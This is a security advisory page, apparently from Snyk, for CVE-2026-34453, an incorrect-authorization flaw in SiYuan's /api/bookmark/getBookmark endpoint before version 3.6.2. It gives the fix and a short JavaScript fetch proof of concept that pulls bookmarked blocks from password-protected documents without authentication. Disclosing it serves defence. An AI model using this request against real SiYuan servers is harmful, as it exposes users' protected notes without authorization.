Incorrect Authorization Affecting github.com/siyuan-note/siyuan/kernel/api package, versions <3.6.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMSIYUANNOTESIYUANKERNELAPI-15922422
- published7 Apr 2026
- disclosed31 Mar 2026
- creditNgocnn97
Introduced: 31 Mar 2026
CVE-2026-34453 Â (opens in a new tab)How to fix?
Upgrade github.com/siyuan-note/siyuan/kernel/api to version 3.6.2 or higher.
Overview
Affected versions of this package are vulnerable to Incorrect Authorization via the getBookmark function. An attacker can retrieve sensitive content from password-protected documents by sending unauthenticated requests to the /api/bookmark/getBookmark endpoint, which improperly authorizes access and returns bookmarked blocks from protected documents without requiring the publish password.
PoC
fetch("/api/bookmark/getBookmark", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: "{}"
})
.then(r => r.json())
.then(x => console.log(JSON.stringify(x, null, 2)));